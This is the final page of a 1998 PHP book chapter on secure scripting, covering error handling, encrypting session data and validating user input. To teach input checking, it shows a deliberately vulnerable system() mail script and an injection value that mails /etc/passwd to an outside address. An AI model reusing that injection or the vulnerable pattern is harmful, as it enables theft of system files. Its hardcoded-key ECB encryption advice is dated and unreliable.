Professional PHP Programming - Creating Secure PHP Scripts (
Page 9 of 9 )
There are several programming practices that can make running PHP
scripts safer. The most important one is probably using some common sense. Think
about what can go wrong with a particular solution to a problem. Does it have
any flaws that can be abused? Are there situations in which your solution does
not work? Do I really want to permit user to run arbitrary SQL queries on my
database?
Running PHP scripts is much safer then running CGI scripts, but
there is still a lot that can go wrong. Turning safe mode on can limit the
consequences when things do go wrong. If there is a bug in your scripts that can
be used to wreck your web site (or worse, your database), someone will find and
use it. It is up to you to minimize the risk of this happening. Of course, good
backups are essential, as always.
Foolproof SoftwareWeb based
applications, such as on-line catalogs, will often be running for extended
periods without close supervision. If problems arise, you won’t be there to take
immediate action. Usually your users are the first to notice problems, so you
should make it easy for them to report problems. More often than not, these
problems can be traced back to the scripts that make up the site. For instance,
your users could be doing things you hadn’t thought of. Alternatively, it could
be that your scripts are behaving in unexpected ways because you neglected to
check the return value of an important function that fouled up.
By
trying to write foolproof software, you can prevent many of these problems. For
instance, you should check the return values of database functions. If the
database crashed, you could show your users a page with more information on the
problem instead of a screen full of errors. You could even have your scripts
page you in case of serious problems, such as a crashed database or a hard disk
filling up. You also need to make sure you check all data received from users,
but more on that later.
If you write your software in such a way
that it can cope with errors, your software will not only be more reliable, but
it will also require less maintenance. The time this saves you could easily
offset the extra time taken during development.
Storing and Exchanging
Sensitive InformationObviously, you should avoid sending sensitive
information across the Internet in a way that makes it easy for outsiders to get
hold of, such as using GET, POST, cookies or encoding information in the URL.
Using an SSL capable web server is probably the easiest way and the best way,
since it encrypts all information flowing between your web site and a visitor’s
browser.
Sometimes you will not have access to an SSL capable web
server, so you will need to come up with something else. Maybe you don’t even
need to send the data to the browser. Maybe you can just store all this
sensitive data in a database and send the key to the browser, so you can easily
find the data when you need it. You could also send all the data in an encrypted
form. What this essentially comes down to is the use of sessions. PHP4 will have
native support for sessions and there is a good library of functions allowing
you to use sessions with PHP 3 (among other things): PHPLIB
(phplib.netuse.de).
You could also build something yourself. You
could place all relevant information in an array, serialize it, and encrypt it.
You could then send it to the browser in a cookie or store it in a form
variable.
Prepare the data in an array for transfer across the
Internet:
# $data is the array that contains the data that should be encrypted
$encrypteddata = mcrypt_ecb(MCRYPT_TripleDES, "Secret key",
serialize($data), MCRYPT_ENCRYPT);
$encrypteddata = bin2hex($encrypteddata);
$encrypteddata now contains an encrypted version of the
array. The extra bin2hex step is necessary because mcrypt_ecb outputs binary
data. You will need to use bin2hex, urlencode or another, similar function
before you can use it in a cookie or a form variable. You decrypt the data with
the same process in reverse.
$encrypteddata = hex2bin($encrypteddata);
$data = unserialize(mcrypt_ecb(MCRYPT_TripleDES, "Secret key”,
$encrypteddata, MCRYPT_DECRYPT));
# $data is the array that contains the decrypted data
Keeping tabs on the contents of files is almost impossible if
you are not using a PHP module running in safe mode or a PHP CGI running under
suEXEC. In such a situation, storing your data in a database may be the only way
of keeping other people/scripts from reading your data. That is, if you have
your own database.
Checking User InputThe Perl programming
language (www.perl.com) has a feature called ‘taint checking.’ When taint
checking is in effect, you cannot run some functions with tainted variables
without getting a fatal error. A variable becomes tainted when its value is
based in part or completely on data supplied by a user. Because this data should
be considered insecure, this can really improve security.
PHP does
not have this feature, but PHP does have the escapeshellcmd function. For
instance, suppose you had never heard of PHP’s mail function and wanted to
provide users with an easy way to request a list of products you are selling.
You could write a small HTML file and have the following script send them an
email.
<?php
system("mail $to < products.txt");
echo "The product listing has been mailed to you.";
?>
This script has a very big security hole just waiting to be
abused. You trust the data you receive from your users. What if someone were to
use the following email address:
'--bla ; mail hacker@somewhere < /etc/passwd ;'
The command executed by the system function would look like:
mail --bla ; mail hacker@somewhere < /etc/passwd ; < products.txt
This line actually consists of three commands. The first
produces an error message about --bla being an invalid option, the second would
mail your password file to this crafty person, and the third does nothing at
all.
If you use the escapeshellcmd function, you can avoid this
particular problem. Placing the following line at the top of the script fixes
this nasty bug.
$to = escapeshellcmd($to);
This is a rather naÏve example, but it should make it very
obvious that you need to check the data you receive from a user, especially if
you use the data they supply in calls to functions like system and exec. Even if
you use the escapeshellcmd, you should still pay attention to the ways you use
user-submitted data.
Another way of making sure people will not be
able to abuse your scripts is only allowing carefully checked input. For
instance, if people need to enter an email address, check that it is really a
valid email address. While regular expressions may be difficult to use, they do
work. For more information on regular expressions, see Chapter 6 (Expressions
and Statements)
An example of a function to check user input is
shown below. It will validate if a string contains a valid IP address.
function validate_ip($ip) {
if (is_string($ip) && ereg('^([0-9]{1,3})\.([0-9]{1,3})\.' .
'([0-9]{1,3})\.([0-9]{1,3})$',
$ip, $part)) {
if ($part[1] <= 255 && $part[2] <= 255 &&
$part[3] <= 255 && $part[4] <= 255)
return TRUE; # Valid IP
}
return FALSE; # Invalid IP
}
ConclusionSecurity is a state of mind. When you
develop scripts, you should be thinking about what you can do to make the
scripts safer. A secure web server running on a secure server gets you a long
way, but you still need to be security conscious yourself.
©1998 Wrox Press Limited, US and UK.